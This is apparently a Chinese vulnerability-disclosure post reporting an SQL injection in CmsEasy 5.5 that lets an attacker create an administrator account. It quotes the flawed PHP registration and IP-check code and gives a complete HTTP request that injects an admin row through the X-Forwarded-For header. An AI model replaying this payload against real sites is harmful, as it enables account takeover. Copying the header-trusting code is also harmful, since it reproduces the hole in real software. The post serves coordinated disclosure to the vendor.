2014-06-04: 细节已通知厂商并且等待厂商处理中 2014-06-05: 厂商已经确认,细节仅向厂商公开 2014-06-08: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息) 2014-07-30: 细节向核心白帽子及相关领域专家公开 2014-08-09: 细节向普通白帽子公开 2014-08-19: 细节向实习白帽子公开 2014-09-02: 细节向公众公开
CmsEasy最新版SQL注入可注册管理员
CmsEasy_5.5_UTF-8_20140420.rar 官方最新版存在SQL注入,无视GPC,可获取管理员账户,可注册管理员 不知道跟之前蓝哥的那个重复么,先发再看吧。。。 文件/lib/default/user_act.php
function respond_action() { ini_set("display_errors","On"); $classname = front::$get['ologin_code']; if(front::post('regsubmit')) { if(!config::get('reg_on')) { front::flash(lang('网站已经关闭注册!')); return; } if(front::post('username') != strip_tags(front::post('username')) ||front::post('username') != htmlspecialchars(front::post('username')) ) { front::flash(lang('用户名不规范!')); return; } if(strlen(front::post('username'))<4) { front::flash(lang('用户名太短!')); return; } if(front::post('username') &&front::post('password')) { $username=front::post('username'); $password=md5(front::post('password')); $data=array( 'username'=>$username, 'password'=>$password, 'groupid'=>101, 'userip'=>front::ip(), //======问题在这里====== $classname=>session::get('openid'), ); if($this->_user->getrow(array('username'=>$username))) { front::flash(lang('该用户名已被注册!')); return; } $insert=$this->_user->rec_insert($data); $_userid = $this->_user->insert_id(); if($insert){ front::flash(lang('注册成功!')); }else { front::flash(lang('注册失败!')); return; } $user=$data; cookie::set('login_username',$user['username']); cookie::set('login_password',front::cookie_encode($user['password'])); session::set('username',$user['username']); front::redirect(url::create('user')); exit; } } if (front::post('submit')) { if (front::post('username') && front::post('password')) { $username = front::post('username'); $password = md5(front::post('password')); $data = array( 'username' => $username, 'password' => $password, ); $user = new user(); $row = $user->getrow(array('username' => $data['username'], 'password' => $data['password'])); if (!is_array($row)) { $this->login_false(); return; } $post[$classname] = session::get('openid'); $this->_user->rec_update($post, 'userid=' . $row['userid']); cookie::set('login_username', $row['username']); cookie::set('login_password', front::cookie_encode($row['password'])); session::set('username', $row['username']); front::redirect(url::create('user')); return; } else { $this->login_false(); return; } } include_once ROOT.'/lib/plugins/ologin/'.$classname.'.php'; $ologinobj = new $classname(); $status = $ologinobj->respond(); //var_dump(session::get('openid'));exit; $where[$classname] = session::get('openid'); if(!$where[$classname]) front::redirect(url::create('user')); $user = new user(); $data = $user->getrow($where); if(!$data){ $this->view->data = $status; }else{ cookie::set('login_username',$data['username']); cookie::set('login_password',front::cookie_encode($data['password'])); session::set('username',$data['username']); front::redirect(url::create('user')); } }
我们再进入ip()函数: 文件/lib/tool/front_class.php
static function ip() { if ($_SERVER['HTTP_CLIENT_IP']) { $onlineip = $_SERVER['HTTP_CLIENT_IP']; } elseif ($_SERVER['HTTP_X_FORWARDED_FOR']) { $onlineip = $_SERVER['HTTP_X_FORWARDED_FOR']; } elseif ($_SERVER['REMOTE_ADDR']) { $onlineip = $_SERVER['REMOTE_ADDR']; } else { $onlineip = $_SERVER['REMOTE_ADDR']; } if(config::get('ipcheck_enable')){ if(!preg_match('/^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$/', $onlineip)&&!preg_match('@^\s*((([0-9A-Fa-f]{1,4}:){7}(([0-9A-Fa-f]{1,4})|:))|(([0-9A-Fa-f]{1,4}:){6}(:|((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})|(:[0-9A-Fa-f]{1,4})))|(([0-9A-Fa-f]{1,4}:){5}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:){4}(:[0-9A-Fa-f]{1,4}){0,1}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:){3}(:[0-9A-Fa-f]{1,4}){0,2}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:){2}(:[0-9A-Fa-f]{1,4}){0,3}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:)(:[0-9A-Fa-f]{1,4}){0,4}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(:(:[0-9A-Fa-f]{1,4}){0,5}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})))(%.+)?\s*$@', $onlineip)){ exit('来源非法'); } } return $onlineip; }
乍一看没什么问题,对ip进行了过滤 但是我们看看后面的那个正则的最后面: (%.+)?\s* 这里有一个%,然后后面可以跟任何内容,**.**.**.**%xxxxxx 这样也是符号正则的,这不就绕过了。。。。 难道这是后门?! 最后进入了:$insert=$this->_user->rec_insert($data); 导致了注入产生。。。
之前的用户信息:
发送请求:
POST /cmseasy1/index.php?case=user&act=respond HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:29.0) Gecko/20100101 Firefox/29.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 66 X-Forwarded-For: **.**.**.**%'),('xfkxfk','e10adc3949ba59abbe56e057f20f883e','2','**.**.**.**')# username=666666&password=666666®submit=%2B%E6%B3%A8%E5%86%8C%2B
成功添加管理员xfkxfk
我不知道这个%是干啥的,没想通。。。 把后面的改一下就好了吧?!
危害等级:高
漏洞Rank:20
确认时间:2014-06-05 11:10
感谢
暂无
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值
http://loudong.360.cn/vul/info/id/7276 一个问题?
@wefgod 不是,你所说漏洞在wooyyun重复,已被提交
@xfkxfk 原来如此
细心,这都被你发现了
登录后才能发表评论,请先 登录 。